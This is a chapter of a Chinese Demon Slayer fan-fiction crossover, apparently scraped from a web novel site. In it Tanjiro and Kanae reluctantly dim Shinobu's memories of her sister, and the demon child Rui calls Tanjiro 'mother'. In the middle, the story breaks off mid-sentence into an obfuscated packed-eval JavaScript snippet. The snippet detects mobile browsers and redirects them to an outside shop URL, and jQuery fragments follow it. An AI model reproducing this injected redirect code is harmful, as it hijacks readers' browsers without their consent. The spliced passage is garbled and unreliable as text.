37.蝴蝶姐妹

作品:《COS鬼王炭治郎后穿越到原著

    炭治郎这段时间很忙。


    处理时透无一郎、炼狱杏寿郎的记忆,说服灶门葵枝协助他。


    还见了一面他的义勇,这对他来说算是安慰。


    最后,还要在伊黑小芭内与甘露寺蜜璃的刀下,抢出濒死的累。


    将他纳入自身,以神性温养。


    就这规则还嫌弃他做事不够效率,如附骨之疽般不停催促。


    他必须一点一点,亲手将那些因他而生的“错误”改正,将世界线强行扳回“应有”的轨道。


    哪怕他从来都不认为那些是错的,这由不得他。


    但他也不是任由规则摆布,只是目前不能激怒祂,他的计划还在后面。


    只是目前这工程量浩大得令人绝望,每一个细节的疏漏,都可能影响他的最终计划。


    就说蝴蝶香奈惠吧。


    她本应死在在童磨手中,化作妹妹蝴蝶忍心中永远的痛。


    因为自己“临终”的警示和提前备下的药物,她活了下来。


    但这“存活”本身,如今却成了最大的问题。


    说服她主动配合,从世间消失,并亲手消除妹妹忍关于“姐姐幸存”的记忆。


    这件事的难度,远超炭治郎的预估。


    让深爱妹妹的香奈惠,去伤害忍,这比用酷刑折磨她还痛苦。


    她知道,将姐姐战死的记忆植入忍的脑海,意味着什么。


    意味着忍要重新经历一遍那撕心裂肺的失去,独自面对这个世界。


    忍好不容易,才从父母早逝的阴影里,一步步走到阳光下,成为独当一面的虫柱……


    所以,哪怕她从炭治郎那里知晓了“未来”中妹妹的命运,理智上明白怎么做对大局最好。


    她舍不得啊。


    这是她从小看着一点点长大、会哭会笑会撒娇、会把脸埋在她怀里说姐姐最好了的妹妹啊!!!


    是她的半身,是她在这世间最柔软、也最坚不可摧的羁绊。


    香奈惠握着那能篡改记忆的“幕布”,指尖却一直在颤抖


    泪水无声滚落,她却浑然不觉,只是盯着妹妹在睡梦中仍微微蹙起的眉。


    她尝试举起“幕布”,靠近小忍。


    指尖触摸到妹妹的额发,那温热的触感让她猛地缩回手,发出一声不忍的呜咽。


    一次。


    她闭着眼,再次尝试,脑海中却全是忍幼时发烧,紧紧抓着她手不肯放开的画面。


    两次。


    她咬破了下唇,血腥味在口中弥漫,但眼前浮现的画面,却是忍成为柱后,对她露出“我也可以保护姐姐了”骄傲且自信的笑。


    三次。


    她看着妹妹沉静的睡颜,想象着忍未来独自面对一切时可能有的眼神……她彻底崩溃了。


    瘫坐在地,双手死死捂住脸,肩膀剧烈地耸动,却发不出任何像样的哭声,只有破碎的气音和颤抖。


    她下不了手。


    无论如何,她都做不到,将“失去姐姐”的利刃,亲手刺进妹妹的灵魂。


    她下不了手。


    炭治郎在一旁静静看着。


    看着香奈惠眼中的不忍,和一次次的失败后的挣扎。


    他看不下去了。


    这太痛苦了。


    这对姐妹之间深厚到超越生死、纯粹到不容丝毫杂质的羁绊与爱,本应是世间最珍贵之物。


    如今,却要因为这该死的“规则”,由最珍视它的人,亲手蒙上尘埃。


    ……唉。


    炭治郎闭上眼,感觉到某种滚烫的液体,不受控制地冲出了眼眶。


    他终究,还是看不下去了。


    他转念想到了其他办法了


    “算了,香奈惠小姐。”他的声音很轻,却有着奇异的安抚力量。


    走上前,轻轻拿过香奈惠手中的“幕布”。


    “交给我吧。我们换个方式。”


    他不再要求彻底的修改记忆。那对这对姐妹而言,太过残忍。


    他选择了一种更温和,却也更取巧的模糊与暗示。


    将香奈惠的存在,从忍当前活跃的记忆表层轻轻推开。


    同时,在忍的潜意识深处,埋下一个“不常主动想起姐姐”的暗示。


    姐姐并没有“死”,只是暂时从妹妹最醒目的思念中淡去。


    那些共同生活的细节、温暖的回忆并未消失,只是被藏在更底层的意识中,等待未来某个契机,或许能被重新点亮。


    这也是他所能给予的最后一点,不违反规则的温柔。


    “不,灶门先生,我可以做到的。” 出乎炭治郎的意料,香奈惠却轻轻摇头。


    她抬起仍留泪痕的脸。


    “忍的精神世界,只有我能进入而不伤及她。有些事……再痛苦,也必须由我来做。”


    她实在是太害怕了。害怕因为此刻一时的心软与退缩,在未来给妹妹带来更无法挽回的伤害。


    保护忍,是刻进她骨血里的本能,哪怕这保护的方式,从忍出生的那一刻她就发誓一辈子要保护忍。


    不过,她最终参考了炭治郎的建议,没有放入原定的“死亡”记忆。


    那对她和忍都太过残酷。她选择了炭治郎提出的那个更温和的方案。


    她重新握紧“幕布”,这一次,手不再颤抖。


    她俯身,在妹妹光洁的额头上,落下一个温柔的吻,混合着泪水与愧疚。


    “姐姐去完成一件很重要的事了。要很久。小忍要好好的,不要总是想我。等姐姐回来。”


    做完这一切,她仿佛被抽空了所有力气。


    炭治郎将香奈惠送入他的领域暂避。


    让她去陪伴先一步抵达的炼狱瑠火。很快,葵枝妈妈和弟弟妹妹也会住进去。


    炭治郎仰头望着虚空,许久未动。


    不是每一个人,都忍心能抹除记忆的。


    尤其是,当那记忆里,盛满了爱。


    香奈惠小姐最后的眼神,有一郎毫无保留的信任,瑠火夫人义无反顾的托付……


    他一定,可以完成他的计划的。


    绝不能,辜负了这些如此相信他的人们。


    他回到自己以的领域之中。在这里,他是绝对的主宰,可以更精细、更高效地调动规则之力。


    去润物细无声地修改其他人的记忆。


    其他人没有那么深厚的羁绊,不需要用“幕布”,但是为了不让他们从细节提醒杏寿郎、无一郎和忍。


    还是要花水磨功夫,慢慢的改。


    至于富冈义勇、栗花落香奈乎这两人的很特殊,只能暗示不能彻底修改,但是好在他们两人沉默寡言。


    补上一个禁言咒,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16998374|193664||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    让他们无法说出关键的事件就好了。


    也正因为身处这个完全隔绝的领域,现实世界富冈义勇所持有的、那枚混合了道术与库洛牌魔法的追踪符咒,其感应被彻底屏蔽了。


    它无法锁定炭治郎这个正主,最终,只能锁定在了与炭治郎近期有过直接接触、并且身上残留着他攻击时逸散出的极细微神力气息的两个人身上。


    伊黑小芭内与甘露寺蜜璃。


    他们曾与鬼王形态的炭治郎交战,被其骨鞭所伤。


    那些伤口上,不可避免地沾染了一丝气息。


    在炭治郎本体隐匿后,成了符咒在茫茫世界中,所能捕捉到的唯一坐标。


    于是,现实世界富冈义勇就这样来到了他们身边。


    做完这一切,炭治郎感应到外界已过去两月有余。葵枝妈妈也传来讯息,已成功用“幕布”修改了此世界炭治郎的记忆。


    他将母亲和弟弟妹妹安然接入领域,与瑠火夫人、香奈惠小姐相互照应。


    他正想查看一下外界情况,一个身影忽然扑到了他腿边,紧紧抱住了他。


    炭治郎低头,对上一双双满是依赖与懵懂的绯红色眼眸,是累。


    那个被他从死亡边缘抢回、置于灵体内温养的下弦之鬼。此刻,竟凝出了一个孩童般的小小灵体。


    然后,他听见这个孩子,用清晰无比的声音,对他喊道


    “母亲大人”


    ????


    炭治郎瞬间石化,大脑一片空白。


    不是吧……这又是什么情况?!


    此刻,他终于无比真切的理解了,当初黑死牟被他那声“父亲”创飞时,是何等感受。


    他试图解释,声音都带着一丝罕见的慌乱。


    “累,我、我不是你母亲……”


    孩童形态的累却仰着小脸,绯红的眼眸更亮了,仿佛听到了世界上最动听的称呼,开心地蹭了蹭他的腿,用软糯的声音重复道。


    “母亲大人给我取名叫‘累’吗?我好喜欢!谢谢母亲大人!”


    一旁的灶门葵枝目瞪口呆,她不明白,我另一个世界的好大儿,怎么突然……就有了个孩子?还叫他妈妈?!


    灶门家……这么快就有第三代了吗?!


    等等,灶门累?这名字听起来……寓意是不是不太好啊?


    算了孩子们喜欢就好。


    这孩子长得真白净,眼睛颜色也特别……难道是和另一个世界的那位皮肤也很白、不太爱说话的水柱先生……?


    她见过这个世界的义勇,和自家炭治郎(小)一起来过。


    可看那两人的相处,她早默默认定了长媳(?)是那位水柱先生。


    难不成……我猜错了?


    炭治郎才是……?


    信息量过大,葵枝妈妈觉得需要缓一缓。


    炼狱瑠火心知必有蹊跷,出于长辈的稳重与好心,她把小累从炭治郎腿边抱下来,温柔地问。


    “好孩子,告诉我,你还记得其他事情吗?”


    蝴蝶香奈惠倒是知道累是下弦之五,在炭治郎共享的记忆中见过。


    此刻她看着这诡异又莫名和谐的一幕,紫藤花色的眼眸里充满了讶异。


    随即闪过一丝玩味的笑意,那神情和她妹妹蝴蝶忍捉弄人时像极了。


    真不愧是亲姐妹。